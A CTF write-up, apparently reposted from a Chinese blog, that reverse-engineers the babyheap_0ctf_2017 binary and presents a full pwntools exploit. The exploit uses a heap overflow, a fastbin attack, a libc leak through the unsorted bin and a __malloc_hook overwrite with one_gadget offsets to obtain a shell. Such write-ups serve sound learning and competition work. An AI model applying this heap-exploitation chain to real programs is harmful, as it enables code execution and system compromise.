FastBinAttack实战babyheap_0ctf_2017

Posted Tokameine

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了FastBinAttack实战babyheap_0ctf_2017相关的知识,希望对你有一定的参考价值。

分析利用:

        无壳,IDA打开后可以看出题目是基本的增删与展示(函数名为方便阅读而修改)

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v4; // [rsp+8h] [rbp-8h]

  v4 = initMmapList();
  while ( 1 )
  {
    Menu();
    switch ( getInput() )
    {
      case 1LL:
        Allocate(v4);
        break;
      case 2LL:
        Fill(v4);
        break;
      case 3LL:
        Free(v4);
        break;
      case 4LL:
        Dump((__int64)v4);
        break;
      case 5LL:
        return 0LL;
      default:
        continue;
    }
  }
}

        v4通过mmap分配了“一条链表”,但通过Allocate函数可以知道,实际的储存结构是类似chunk似的结构体:

00000000    size_t InUse
00000008    size_t Size
00000010    size_t content

         每次Allocate都会遍历v4链表的每个InUse位,如果该位置0,就表示这个索引没有被使用,就会将该位置1,然后根据Size调用calloc,将返回值赋给content

        然后可以看看Free函数:

__int64 __fastcall Free(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = getInput();
  v2 = result;
  if ( (int)result >= 0 && (int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      *(_DWORD *)(24LL * v2 + a1) = 0;
      *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
      free(*(void **)(24LL * v2 + a1 + 16));
      result = 24LL * v2 + a1;
      *(_QWORD *)(result + 16) = 0LL;
    }
  }
  return result;
}

        由于free之后将指针全都清零了,所以指针复用在这里不太行

        然后是Fill函数:

__int64 __fastcall Fill(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = getInput();
  v2 = result;
  if ( (int)result >= 0 && (int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = getInput();
      v3 = result;
      if ( (int)result > 0 )
      {
        printf("Content: ");
        result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
      }
    }
  }
  return result;
}

         可以看到,该函数没有限制我们的输入,因此我们可以让content开辟过大的chunk来达成堆溢出

        最后是Dump:

int __fastcall Dump(__int64 a1)
{
  int result; // eax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = getInput();
  v2 = result;
  if ( result >= 0 && result <= 15 )
  {
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      result = puts(byte_14F1);
    }
  }
  return result;
}

         没有什么可用点,但我们可以用来泄露地址

        我们最终的目的是修改malloc_hook或者free_hook的地址为某个one_gadget

        为此我们需要泄露libc基址、通过伪造fake_chunk来向hook附近通过Fill函数填充溢出覆盖

        Unsorted Bin双向链表能够将表头放入fd指针,通过Dump就能够泄露出库函数地址

        

如下过程参考CTF-WIKI:

        首先需要泄露libc基址,为此我们需要通过Unsorted Bin获取fd指针,因此需要构造指针复用的情况,将两个索引的content指针指向同一个chunk

        适当开辟几个符合Fast Bin的chunk(不一定要像笔者这样,指需理解思路即可),idx4作为泄露基地址的chunk,idx 0用于通过堆溢出来复写idx 1,idx 3来复写 idx4

        然后用Free函数构成Fast Bin链表 idx1--->idx2

allocate(0x10) #idx 0
allocate(0x10) #idx 1
allocate(0x10) #idx 2
allocate(0x10) #idx 3
allocate(0x80) #idx 4
free(2)
free(1)

        因为每个堆都是按页对齐的,所以如果将idx 1的fd指针的最后一个字节指向0x80就会指向idx 4,由此构造出Fast Bin链 idx1--->idx 4

        由于Fast Bin有chunk块大小检查,所以将idx 4的size复写为与idx 1相同来绕过检查

payload='a'*0x10+p64(0)+p64(0x21)+p8(0x80)
fill(0,payload)
payload='a'*0x10+p64(0)+p64(0x21)
fill(3,payload)

        Fast Bin为LIFO,接下来再重新开辟会idx 1和idx 2,然后再将idx 4的size修改回去

allocate(0x10) #idx 1
allocate(0x10) #idx 2
payload='a'*0x10+p64(0)+p64(0x91)
fill(3,payload)

        此时,idx 2和idx 4的content指向了同一个地址,只要我们将idx 4释放掉,该chunk就会被放入Unsorted Bin,并增加fd指针,然后再Dump出idx 2即可泄露libc基址(不过需要先开辟idx 5以放置idx 4和Top chunk合并)

allocate(0x100) #idx 5
free(4)
dump(2)
p.recvuntil('Content: \\n')

unsortedbin_addr=u64(p.recv(8))
print hex(unsortedbin_addr)

main_arena_offset=0x3c4b20

def offset_bin_main_arena(idx):
	word_bytes = context.word_size / 8
	offset = 4  # lock
	offset += 4  # flags
	offset += word_bytes * 10  # offset fastbin
	offset += word_bytes * 2  # top,last_remainder
	offset += idx * 2 * word_bytes  # idx
	offset -= word_bytes * 2  # 
	return offset

unsortedbin_offset_main_arena = offset_bin_main_arena(0)
main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
libc_base = main_arena_addr - main_arena_offset
print hex(libc_base)

        main_arena_offset是写在每个libc中的固定值

        有师傅写过获取的脚本项目:https://github.com/bash-c/main_arena_offset

        unsortedbin_offset_main_arena这些值也都有固定的计算方式

        因此现在已经泄露出了libc基址

        然后现在将放在Unsorted Bin中的idx 4开辟回来,但我们只开辟0x70的空间,剩下的0x20将被放回Unsorted Bin,而接下来释放idx 4又将其放入Fast Bin

allocate(0x60)
free(4)

        接下来我们使用gdb附加调试来寻找可以伪造fake_chunk的地方:

gdb-peda$ x /10gx &__malloc_hook-6
0x7f03f6128ae0 <_IO_wide_data_0+288>:	0x0000000000000000	0x0000000000000000
0x7f03f6128af0 <_IO_wide_data_0+304>:	0x00007f03f6127260	0x0000000000000000
0x7f03f6128b00 <__memalign_hook>:	0x00007f03f5de9ea0	0x00007f03f5de9a70
0x7f03f6128b10 <__malloc_hook>:	0x0000000000000000	0x0000000000000000
0x7f03f6128b20 <main_arena>:	0x0000000000000000	0x0000000000000000

        (不知道是gdb还是pwndbg的原因,竟然能直接这样查看到地址......)

        我们可以发现0x7f这个数字比较适合被当作fake_chunk的Size ,于是我们将这个这个fake_chunk复写到idx 4的fd指针

fake_chunk=main_arena_addr-0x33
print hex(fake_chunk)
fakechunk=p64(fake_chunk)
fill(2,fakechunk)

        然后用allocate将fake_chunk开辟回来,现在就能通过填充idx 6来溢出到malloc_hook了,然后再调用malloc即可拿到shell

allocate(0x60) #idx 4
allocate(0x60) #idx 6

one_garget=0x4526a+libc_base
payload='a'*(0x13)+p64(one_garget)
fill(6,payload)

allocate(0x100)

        但值得注意的是,这道题在于2017年的0ctf上的赛题,在当时使用 libc2.23-0ubuntu11.2版本的共享库,但时至今日,Ubuntu16已经不再使用该版本,而是使用libc2.23-0ubuntu11.3版本共享库,而buu上也使用前者版本

        因此笔者使用libc2.23-0ubuntu11.3中得到的one_gadget虽然在本地拿到了shell,但在远程服务器上却只能通过一些以前的wp来获取当时版本的one_gadget,这里记一下比较常用的

og1=[0x45216,0x4526a,0xf02a4,0xf1147]    #libc2.23-0ubuntu11.2
og2=[0x45226,0x4527a,0xf0364,0xf1207]    #libc2.23-0ubuntu11.3

完整exp:

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'

p=process('./babyheap_0ctf_2017')
#p=remote("node4.buuoj.cn",27641)
elf=ELF('./babyheap_0ctf_2017')
libc=elf.libc

def cmd(x):
	p.sendlineafter('Command:',str(x))

def allocate(size):
	cmd(1)
	p.sendlineafter('Size:',str(size))

def fill(index,content):
	cmd(2)
	p.sendlineafter('Index:',str(index))
	p.sendlineafter('Size:',str(len(content)))
	p.sendlineafter('Content:',content)

def free(index):
	cmd(3)
	p.sendlineafter('Index:',str(index))

def dump(index):
	cmd(4)
	p.sendlineafter("Index:",str(index))

def offset_bin_main_arena(idx):
	word_bytes = context.word_size / 8
	offset = 4  # lock
	offset += 4  # flags
	offset += word_bytes * 10  # offset fastbin
	offset += word_bytes * 2  # top,last_remainder
	offset += idx * 2 * word_bytes  # idx
	offset -= word_bytes * 2  # 
	return offset


allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)

free(2)
free(1)

payload='a'*0x10+p64(0)+p64(0x21)+p8(0x80)
fill(0,payload)



payload='a'*0x10+p64(0)+p64(0x21)
fill(3,payload)
allocate(0x10)
allocate(0x10)

payload='a'*0x10+p64(0)+p64(0x91)
fill(3,payload)

allocate(0x100)
free(4)
dump(2)
p.recvuntil('Content: \\n')

unsortedbin_addr=u64(p.recv(8))
print hex(unsortedbin_addr)

main_arena_offset=0x3c4b20

unsortedbin_offset_main_arena = offset_bin_main_arena(0)
main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
libc_base = main_arena_addr - main_arena_offset
print hex(libc_base)

one_garget=0x4526a+libc_base


allocate(0x60)
free(4)

gdb.attach(p)

fake_chunk=main_arena_addr-0x33
print hex(fake_chunk)
fakechunk=p64(fake_chunk)
fill(2,fakechunk)

allocate(0x60)
allocate(0x60) #6

payload='a'*(0x13)+p64(one_garget)
fill(6,payload)
allocate(0x100)


p.interactive()

以上是关于FastBinAttack实战babyheap_0ctf_2017的主要内容,如果未能解决你的问题,请参考以下文章

0ctf2017-babyheap

babyheap_fastbin_attack

wdb_2018_1st_babyheap

0ctf_2017_babyheap

0ctf_2017_babyheap

0ctf_2017_babyheap